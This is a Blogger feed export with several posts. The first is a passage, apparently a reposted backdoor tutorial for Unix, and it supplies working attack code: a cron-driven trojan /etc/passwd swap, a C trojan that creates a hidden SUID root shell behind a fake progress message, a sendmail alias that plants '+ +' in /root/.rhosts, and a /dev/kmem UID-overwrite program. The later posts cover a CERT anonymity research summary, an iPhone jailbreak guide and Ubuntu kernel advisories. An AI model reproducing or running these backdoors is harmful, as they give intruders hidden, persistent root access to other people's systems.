/&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;29       2        *        *        *        /bin/usr/sneakysneaky_passwd&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;make sure this exists:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#echo "root:1234567890123:0:0:Operator:/:/bin/csh" &gt; /var/spool/mail/.sneaky&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;and this is the simple shell script:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;&lt;br /&gt;# Install trojan /etc/passwd file for one minute&lt;br /&gt;&lt;br /&gt;# daemon9@netcom.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;cp /etc/passwd /etc/.temppass&lt;br /&gt;&lt;br /&gt;cp /var/spool/mail/.sneaky /etc/passwd&lt;br /&gt;&lt;br /&gt;sleep 60&lt;br /&gt;&lt;br /&gt;mv /etc/.temppass /etc/passwd&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.&lt;br /&gt;&lt;br /&gt;Make sure it runs as root. Name it something innocous. Hide it well.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;/* A little trojan to create an SUID root shell, if the proper argument is&lt;br /&gt;&lt;br /&gt;given.   C code, rather than shell to hide obvious it's effects. */&lt;br /&gt;&lt;br /&gt;/* daemon9@netcom.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it */&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#define KEYWORD "industry3"&lt;br /&gt;&lt;br /&gt;#define BUFFERSIZE 10&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;int main(argc, argv)&lt;br /&gt;&lt;br /&gt;int argc;&lt;br /&gt;&lt;br /&gt;char *argv[];{&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;int i=0;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;if(argv[1]){             /* we've got an argument, is it the keyword? */&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;if(!(strcmp(KEYWORD,argv[1]))){&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;/* This is the trojan part. */&lt;br /&gt;&lt;br /&gt;system("cp /bin/csh /bin/.swp121");&lt;br /&gt;&lt;br /&gt;system("chown root /bin/.swp121");&lt;br /&gt;&lt;br /&gt;system("chmod 4755 /bin/.swp121");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* Put your possibly system specific trojan&lt;br /&gt;&lt;br /&gt;messages here */&lt;br /&gt;&lt;br /&gt;/* Let's look like we're doing something... */&lt;br /&gt;&lt;br /&gt;printf("Sychronizing bitmap image records.");&lt;br /&gt;&lt;br /&gt;/* system("ls -alR / &gt;&amp; /dev/null &gt; /dev/null&amp;"); */&lt;br /&gt;&lt;br /&gt;for(;i&lt;10;i++){&lt;br /&gt;&lt;br /&gt;fprintf(stderr,".");&lt;br /&gt;&lt;br /&gt;sleep(1);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("\nDone.\n");&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;&lt;br /&gt;} /* End main */&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several&lt;br /&gt;&lt;br /&gt;users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;"decode: "|/usr/bin/uudecode"&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#! /bin/csh&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;# Create our .rhosts file.   Note this will output to stdout.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;echo "+ +" &gt; tmpfile&lt;br /&gt;&lt;br /&gt;/usr/bin/uuencode tmpfile /root/.rhosts&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the&lt;br /&gt;&lt;br /&gt;.rhosts file. For a one liner (not faked, however) do this:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your&lt;br /&gt;&lt;br /&gt;choosing. Many of the previous scripts and methods can be employed here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The Covert&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.&lt;br /&gt;&lt;br /&gt;The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this&lt;br /&gt;&lt;br /&gt;case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some&lt;br /&gt;&lt;br /&gt;general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you&lt;br /&gt;&lt;br /&gt;are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)&lt;br /&gt;&lt;br /&gt;Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;get input;&lt;br /&gt;&lt;br /&gt;if input is special hardcoded flag, spawn evil trojan;&lt;br /&gt;&lt;br /&gt;else if input is valid, continue;&lt;br /&gt;&lt;br /&gt;else quit with error;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The Esoteric&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible&lt;br /&gt;&lt;br /&gt;to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write&lt;br /&gt;&lt;br /&gt;permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of&lt;br /&gt;&lt;br /&gt;your current process, then spawn a csh, which will inherit this UID. The following program does just that.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;/* If /kmem is is readable and writable, this program will change the user's&lt;br /&gt;&lt;br /&gt;UID and GID to 0.   */&lt;br /&gt;&lt;br /&gt;/* This code originally appeared in "UNIX security:   A practical tutorial"&lt;br /&gt;&lt;br /&gt;with some modifications by daemon9@netcom.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it */&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#define KEYWORD "nomenclature1"&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;struct user userpage;&lt;br /&gt;&lt;br /&gt;long address(), userlocation;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;int main(argc, argv, envp)&lt;br /&gt;&lt;br /&gt;int argc;&lt;br /&gt;&lt;br /&gt;char *argv[], *envp[];{&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;int count, fd;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-7394253368057336632?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/7394253368057336632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=7394253368057336632' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7394253368057336632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7394253368057336632'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/how-to-create-backdoor-in-unix.html' title='HOW TO CREATE A BACKDOOR IN UNIX'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4644481922766326711</id><published>2010-02-14T10:23:00.000-08:00</published><updated>2010-02-14T10:24:42.003-08:00</updated><title type='text'>Protocols for Anonymity and Traceability Tradeoffs</title><content type='html'>a PROJECT AT CERT INSTITUTE FOR "Protocols for Anonymity and Traceability Tradeoffs"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Problem Addressed&lt;br /&gt;Existing Internet protocols were never engineered for today’s Internet, where the trustworthiness of users cannot be assumed and where high-stakes, mission-critical applications increasingly reside. Malicious users exploit the severe weakness in existing Internet protocols to achieve anonymity and use that anonymity as a safe haven from which to launch repeated attacks on their victims. Hence, service providers and other victims of cyber attack want and need traceability for accountability, redress, and deterrence. Unfortunately, our current track-and-trace capability is extremely limited by the existing protocol and infrastructure design and requires a major re-engineering effort from both technical and policy perspectives. This is discussed in an SEI special report sponsored by the U.S. State Department [1]. On the other hand, Internet users, both individuals and organizations, often want or need anonymity for a variety of legitimate reasons. The engineering challenge is to balance the apparently conflicting needs of privacy and security.&lt;br /&gt;Research Approach&lt;br /&gt;Traceability and anonymity are attributes that are central to the security and survivability of mission-critical systems. We believe that principled, fine-grained tradeoffs between traceability and anonymity are pivotal to the future viability of the Internet. However, such tradeoffs are rarely explicitly made, the current capability to make such tradeoffs is extremely limited, and the tradeoffs between these attributes have occurred on an ad hoc basis at best. The LEVANT (Levels of Anonymity and Traceability) project is developing the foundations for a disciplined engineering design of Internet protocols in the context of key policy issues. This will allow dynamic, fine-grained tradeoffs between traceability and anonymity to be made on the basis of specific mission requirements. We see this project as a first step toward the development of a discipline of Internet engineering, which would translate traditional design and engineering processes, such as thorough requirements gathering and attribute tradeoff analyses, into the unique context of the Internet environment and its associated security and survivability risks [2].&lt;br /&gt;&lt;br /&gt;In any Internet transaction, trust ultimately depends not on IP addresses but on particular relationships among individuals and their roles within organizations and groups (which may be economic, political, educational, or social). Trust cannot be established while maintaining total anonymity of the actors involved. It goes without saying that there is a great need for privacy on the Internet, and it must be carefully guarded. However, trust and privacy tradeoffs are a normal part of human social, political, and economic interactions, and such tradeoffs are routinely resolved in a number of venues, for example in the marketplace. Consider the telephone system, in particular the caller identification (caller ID) feature, which displays the phone number, and often the name, associated with incoming calls. Caller ID is a feature for which many customers are willing to pay extra in return for the privacy benefits associated with having some idea of who’s calling before answering a call. However, callers are sometimes given the option of being anonymous (i.e., not identifiable by the caller ID feature) by default or on a call-by-call basis. To more fully protect their privacy, caller ID customers can choose to block all incoming calls from anonymous callers. The anonymous caller is notified of this fact by an automated message. For callers who pre-arrange with their phone companies to be anonymous by default, the only way to complete a call is to enter a key sequence to remove the anonymity for that particular call and to redial. Customers who achieve anonymity on a call-by-call basis (by entering a specific key sequence) can choose to redial without entering the key sequence that denotes anonymity. This choice is a form of negotiation between the caller and the intended recipient of the call, and it is a tradeoff between anonymity and trust that is supported by the technology of caller ID and the marketplace. There is no government mandate that all calls must be anonymous or that no calls may be anonymous. The individual caller chooses whether or not to relinquish anonymity (or some degree of privacy) in exchange for the perceived value of completing the call by increasing the degree of trust as perceived by the recipient.&lt;br /&gt;&lt;br /&gt;One can envision next-generation Internet protocols supporting this kind of marketplace negotiation of trust versus privacy tradeoffs. For example, we are exploring the possibility of third-party certifying authorities that would serve as brokers of trust. These certifying authorities would provide mechanisms whereby packets would be cryptographically signed with very fine-grained authentication credentials of the sender. This is not the same as having an individual digitally sign a message, as a digitally signed message may be too coarse grained for a particular scenario and may reveal too much. Another capability might be the escrowing, by these certifying authorities, of complete identifying information for a specified period of time, to be revealed in the event that one or more of a user’s packets have been identified as participating in a confirmed attack.&lt;br /&gt;&lt;br /&gt;We are investigating the fundamental concepts necessary to inform the design of Internet protocols that support dynamic, fine-grained tradeoffs between traceability and anonymity in a manner that satisfies the security, survivability, and anonymity (or privacy) requirements of the protocols’ users. Our goal is to provide an exemplar for the application of principled software and systems engineering practices in the unique context of the Internet. A key part of this process is our exploration of alternative designs for new Internet protocols that allow the originator and the recipient of an Internet transaction or service to negotiate what levels of traceability and anonymity to accept. In order to design and evaluate Internet protocols that support negotiated tradeoffs between anonymity and traceability, we need some way to quantify and measure levels of anonymity and traceability. The concept of k-anonymity provides some useful theoretical underpinnings.&lt;br /&gt;Meaning of k-anonymity&lt;br /&gt;We say that a user is k-anonymous in a network context if the user is only traceable to a set of measure k, where this could mean either a set of size k or a set of radius k in the topological sense of the network (as shown in Figure 1). Our goal is to explore the design of Internet protocols that assure traceability, but only to a group of k actors. The concept of k-anonymity was first defined by Pierangela Samarati [3]. Samarati showed how generalization and suppression of data can be used to enforce k-anonymity in private databases (such as those containing medical and driver’s license data) thereby reducing privacy loss. This concept was later reiterated by Latanya Sweeney in the context of medical databases [4].&lt;br /&gt;&lt;br /&gt;Figure 1: Examples of k-anonymity&lt;br /&gt;&lt;br /&gt;User and Service Provider Goals&lt;br /&gt;Effective anonymity and traceability tradeoffs require an in-depth understanding of the specific goals of users and service providers. User goals may differ on a case-by-case basis. Below are some examples:&lt;br /&gt;&lt;br /&gt;    * User may want to hide its location and identity entirely (large k).&lt;br /&gt;    * User may want to hide its location somewhat (e.g., reveal the city, but not street address).&lt;br /&gt;    * User may want to hide its location but not its identity. &lt;br /&gt;&lt;br /&gt;Similarly, service providers may have different goals and/or requirements. Below are some examples:&lt;br /&gt;&lt;br /&gt;    * Provider may want to know both user’s location and identity.&lt;br /&gt;    * Provider may want to know user’s location somewhat.&lt;br /&gt;    * Provider may want to know user’s identity but does not care about user’s location. &lt;br /&gt;&lt;br /&gt;It is important to note that the value of anonymity and traceability tradeoffs extends well beyond the relationships among individual users and service providers. The ability to explicitly make such tradeoffs can provide essential support for organizations engaged in a complex mix of collaborative and competitive (adversarial) relationships. Consider the scenario below.&lt;br /&gt;LEVANT Scenario&lt;br /&gt;Assume that a number of organizations collaborate to build a shared (highly distributed) knowledge base that is more comprehensive and of higher quality than each could build on its own. This knowledge base provides a significant competitive advantage for the collaborators over other organizations that are not participating in this effort.&lt;br /&gt;&lt;br /&gt;Although the participating organizations collaborate on some projects, they are competitors in other areas. Each may use the knowledge base to further its own strategies, tactical decisions, and so forth. Hence, each participating organization wants traceability in the event that the availability, integrity, or confidentially of the knowledge base is compromised or threatened, and to ensure that no external organizations get access to the data. Yet, each organization wants its own members to be able to query the knowledge base without revealing to the other collaborators (or, of course, to any outsider) the source of any query being made by that organization. LEVANT technology would provide network-level protocol support for the traceability and anonymity tradeoffs that the collaborating organizations agree upon, helping ensure the success of their cooperative and individual missions.&lt;br /&gt;&lt;br /&gt;Some additional information on the LEVANT project is available in a summary report on SEI independent research and development projects [5].&lt;br /&gt;Benefits&lt;br /&gt;In this era of open, highly distributed, complex systems, vulnerabilities abound and adequate security, using defensive measures alone, can never be guaranteed. As with all other aspects of crime and conflict, deterrence plays an essential role in protecting society. Hence, the ability to track and trace attackers is crucial, because in an environment of total anonymity, deterrence is impossible, and an attacker can endlessly experiment with countless attack strategies and techniques until success is achieved. The ability to accurately and precisely assign responsibility for cyber attacks to entities or individuals (or to interrupt attacks in progress) would be of critical value. It would allow society’s legal, political, and economic mechanisms to work both domestically and internationally to deter future attacks and motivate evolutionary improvements in relevant laws, treaties, policies, and engineering technology. On the other hand, there are many legal, political, economic, and social contexts in which some protection of anonymity or privacy is essential. Without some degree of anonymity or privacy, individuals or entities whose cooperation is vitally needed may not fully participate (or participate at all) in the use or operation of systems that support the critical functions of the global information society.&lt;br /&gt;&lt;br /&gt;Hence, traceability and anonymity are attributes that are central to the security and survivability of mission-critical systems. The LEVANT project is exploring the essential engineering and policy issues associated with traceability and anonymity tradeoffs. A primary objective is to design Internet protocols that allow these tradeoffs to be dynamic, fine grained, and based on the specific mission needs of the protocols’ users. An ultimate benefit of these new Internet protocols will be dramatically improved security and traceability for mission-critical applications and infrastructures, along with strong privacy and anonymity protection for legitimate users who act either as individuals or within specific organizational roles.&lt;br /&gt;2006 Accomplishments&lt;br /&gt;In FY2006, we continued our work towards establishing a solid theoretical foundation on which to base principled engineering tradeoffs between traceability and anonymity. Our research has explored the range of engineering requirements for the design of Internet protocols that support traceability and anonymity attribute tradeoffs and the negotiations that are needed to set the desired level of each attribute. We’ve generated and analyzed several LEVANT protocol scenarios of use that include specific user requirements for anonymity and traceability that must be satisfied for particular applications, systems, and missions. We’ve also investigated the underlying security and survivability themes in this research, in particular with respect to the engineering tradeoffs being explored for protocol design. Our research has also examined policy issues relating to the design and use of protocols that support negotiated levels of anonymity and traceability for individual actors and for organizations.&lt;br /&gt;2007 Plans&lt;br /&gt;In FY2007, we plan to complete an SEI technical report on our LEVANT project research. One or more papers derived from this technical report are also planned, along with the submission of funding proposals seeking long-term support for the LEVANT project.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4644481922766326711?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4644481922766326711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4644481922766326711' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4644481922766326711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4644481922766326711'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/protocols-for-anonymity-and.html' title='Protocols for Anonymity and Traceability Tradeoffs'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-2434441954065348492</id><published>2010-02-14T10:17:00.000-08:00</published><updated>2010-02-14T10:18:04.375-08:00</updated><title type='text'>a good link for wireless hacking</title><content type='html'>wireless hacking explain .... step by step.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/WirelessHacks/Mateti-WirelessHacks.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-2434441954065348492?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/WirelessHacks/Mateti-WirelessHacks.htm' title='a good link for wireless hacking'/><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/2434441954065348492/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=2434441954065348492' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2434441954065348492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2434441954065348492'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/good-link-for-wireless-hacking.html' title='a good link for wireless hacking'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-7251559003249521089</id><published>2010-02-14T06:45:00.001-08:00</published><updated>2010-02-14T06:45:54.418-08:00</updated><title type='text'>Jailbreaking iPhone 3.1.3 IPSW with PwnageTool 3.1.5</title><content type='html'>Intipadi.com – With the PwnageTool app now updated for Mac OS X users, most of the iPhone Dev Team’s set of jailbreak and unlock tools now supports iPhone firmware 3.1.3, the latest update from Apple. Although Softpedia does not condone jailbreaking, those who do wish to employ these tools and hack their iPhones should at least follow a few guidelines, so they don’t brick their devices.&lt;br /&gt;&lt;br /&gt;“If you really truly feel that you need to update, [PwnageTool 3.1.5] creates a custom 3.1.3 IPSW for you to restore to on your iPhone 2G, iPhone 3G, iPhone 3GS with early bootrom, iPod touch 1G, and iPod touch 2G with early bootrom,” the iPhone Dev Team says in its recent blog post.&lt;br /&gt;&lt;br /&gt;“If you don’t know if you have an early bootrom or not, please avoid updating until you learn more [...] If you have an iPhone 3GS, PwnageTool works if you’re currently at version 3.1.2 or below (down to 3.0). [...] Don’t use PwnageTool on the iPhone 3GS if you’re at 3.1.3, it just won’t work (you will need to downgrade to 3.1.2).” “Also, if you use the blacksn0w unlock (currently at baseband 05.11.07), you will need to stay at 3.1.2,” according to the infamous team of hackers.&lt;br /&gt;&lt;br /&gt;With that out of the way, the steps to follow should ensure the proper jailbreaking of a first-generation iPhone for firmware version 3.1.3. The steps are similar for the other devices supported by PwnageTool, with few differences. This guide doesn’t include instructions on how to unlock your device at 3.1.3. If you’re already unlocked, PwnageTool will preserve it for you as you restore using your custom firmware IPSW bundle (it doesn’t update the phone’s baseband). If you do plan to unlock after jailbreaking, you will need to ensure there’s a wireless Internet connection you can hook up to. PwnageTool only does the jailbreak part, and installs Cydia, which allows you to download BootNeuter, install it, and use it to unlock. Ok, let’s move on to the actual jailbreak steps.&lt;br /&gt;&lt;br /&gt;1 – First off, users need to download their tools:&lt;br /&gt;- PwnageTool 3.1.5;&lt;br /&gt;- iPhone1,1_3.1.3_7E18_Restore.ipsw.&lt;br /&gt;(Sorry, no download links for such files says our policy; Google is your friend here)&lt;br /&gt;&lt;br /&gt;2 – Fire up PwnageTool and select your device (as noted above, this tutorial is good word for word only with first-gen iPhones).&lt;br /&gt;&lt;br /&gt;3 – By default, PwnageTool will move forward in simple mode attempting to find that iPhone 3.1.3 firmware you were supposed to download, according to step 1. If it can’t find it, you will be asked to browse your computer’s hard drive and select it yourself. Make sure it is listed exactly as the one shown in the screenshot below.&lt;br /&gt;&lt;br /&gt;4 – After hitting the right arrow to move on to the next phase, PwnageTool will ask you if you want to continue with the procedure. Hit “yes,” if you’re feeling confident that you want to jailbreak, or “no,” if you decide that buying everything fair and square from the iTunes store is your thing. By choosing “yes” you continue with the jailbreak process. PwnageTool will also ask you if you have an iPhone contract that would activate normally through iTunes, meaning you wouldn’t have to unlock as well, afterwards. If you don’t, or if you’re not sure, hit “no,” as instructed, and click the arrow.&lt;br /&gt;&lt;br /&gt;Note: during this step, PwnageTool may also ask you to provide a couple of extra files (bootloaders), which it needs in order to complete the jailbreak process. If you don’t have them lying around, go looking for them on the Internet as instructed by the software. They’re pretty easy to find and all you need to do is download them to your desktop. PwnageTool will then recognize them automatically and continue with the jailbreak process.&lt;br /&gt;&lt;br /&gt;5 – This step involves some waiting time. Just sit back and wait as PwnageTool creates your custom (jailbroken) IPSW restore file. During this step, the application will require you to type in your administrator password, if that’s how your computer is set up.&lt;br /&gt;&lt;br /&gt;6 – Before showing the “success” screen, PwnageTool will have a couple more things to say to you, as shown below. For the first dialog, choose based on the knowledge of your previous actions. Do as instructed, according to the second.&lt;br /&gt;&lt;br /&gt;7 – For this step, you need to connect your iPhone to your computer (using the USB cable it shipped with). Hit the right-arrow button again to finish, and then hit the DFU button above. You will be shown how to enter DFU mode. Pay great attention to the steps here, as they involve some timely actions. If you don’t succeed at first, don’t worry, you can retry entering DFU mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8 – This is the last step. If everything has gone right up to this point, you’re minutes away from having a jailbroken iPhone. Launch iTunes (which needs to be at least version 9.0) and allow it to recognize your device. If you’ve successfully completed step 7 (DFU mode), iTunes should pop up a dialog saying it has found a phone in recovery mode, advising you to restore it. Hit “ok.” You now need to restore to the custom firmware bundle created by PwnageTool and placed on your desktop. Hold ALT (option key) and click “restore” in iTunes. The application will prompt you to select the firmware bundle you want to restore to. In this case, it will be “iPhone1,1_3.1.3_7E18_Custom_Restore.ipsw.” Select it and continue.&lt;br /&gt;&lt;br /&gt;At this point, your new custom firmware is being installed, so all you have to do is wait for it to complete the process and reboot your phone. Depending on a number of factors (system specs, etc.), this last step may take somewhere between four and six minutes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-7251559003249521089?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/7251559003249521089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=7251559003249521089' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7251559003249521089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7251559003249521089'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/jailbreaking-iphone-313-ipsw-with.html' title='Jailbreaking iPhone 3.1.3 IPSW with PwnageTool 3.1.5'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-109717620977507162</id><published>2010-02-14T06:42:00.000-08:00</published><updated>2010-02-14T06:43:10.805-08:00</updated><title type='text'>10 vulnarabilities in ubuntu kernal</title><content type='html'>Intipadi.com – Canonical announced a few hours ago the immediate availability of a new Linux kernel security update for the following Ubuntu distributions: 6.06 LTS (Dapper Drake), 8.04 LTS (Hardy Heron), 8.10 (Intrepid Ibex), 9.04 (Jaunty Jackalope) and 9.10 (Karmic Koala). The update also applies to Kubuntu, Edubuntu and Xubuntu and it patches 10 important security issues (see below for details) discovered in the Linux kernel packages by various hackers. Therefore, it is strongly recommended to update your system as soon as possible!&lt;br /&gt;&lt;br /&gt;The following Linux kernel vulnerabilities were discovered:&lt;br /&gt;&lt;br /&gt;1. The EXT4 and HFS filesystems failed to check various disk structures. Because of this, a remote attacker could trick a user into mounting a specially devised filesystem and could crash the affected system or gain root (system administrator) privileges. The issue was discovered by Amerigo Wang and Eric Sesterhenn and affects all the aforementioned Ubuntu systems.&lt;br /&gt;&lt;br /&gt;2. FUSE (Filesystem in Userspace) failed to check various requests. Because of this, a local attacker that had access to FUSE mounts could crash the affected system or gain root (system administrator) privileges. The issue affects only Ubuntu 6.06 LTS, 8.04 LTS, 8.10 and 9.04 systems.&lt;br /&gt;&lt;br /&gt;3. KVM failed to decode various guest instructions. This could lead to a DoS attack and crash the affected system, by triggering “high scheduling latency” in the host. The issue affects only Ubuntu 8.04 LTS, 8.10, 9.04 and 9.10 systems.&lt;br /&gt;&lt;br /&gt;4. The OHCI firewire driver failed to handle various ioctls. Because of this, a local attacker could crash the affected system or gain root (system administrator) privileges. The issue affects only Ubuntu 8.04 LTS, 8.10, 9.04 and 9.10 systems.&lt;br /&gt;&lt;br /&gt;5. The Linux kernel failed to handle O_ASYNC on locked files. Because of this, a local attacker could gain root (system administrator) privileges. The issue was discovered by Tavis Ormandy and affects only Ubuntu 9.04 and 9.10 systems.&lt;br /&gt;&lt;br /&gt;6. The e1000e and e1000 network drivers for Eee PCs failed to check Ethernet frames’ size. Because of this, a local attacker on the LAN could crash the affected system or gain root (system administrator) privileges by sending specially devised traffic. The issue was discovered by Neil Horman and Eugene Teo, and affects all Ubuntu systems.&lt;br /&gt;&lt;br /&gt;7. Random contents of kernel memory could be shown by “print-fatal-signals” reporting. This could lead to loss of privacy. The issue affects only Ubuntu 8.04 LTS, 8.10, 9.04 and 9.10 systems.&lt;br /&gt;&lt;br /&gt;8. IPv6 failed to handle jumbo frames. This could lead to a DoS attack and crash the affected system. The issue was discovered by Olli Jarva and Tuomo Untinen, and affects only Ubuntu 9.04 and 9.10 systems.&lt;br /&gt;&lt;br 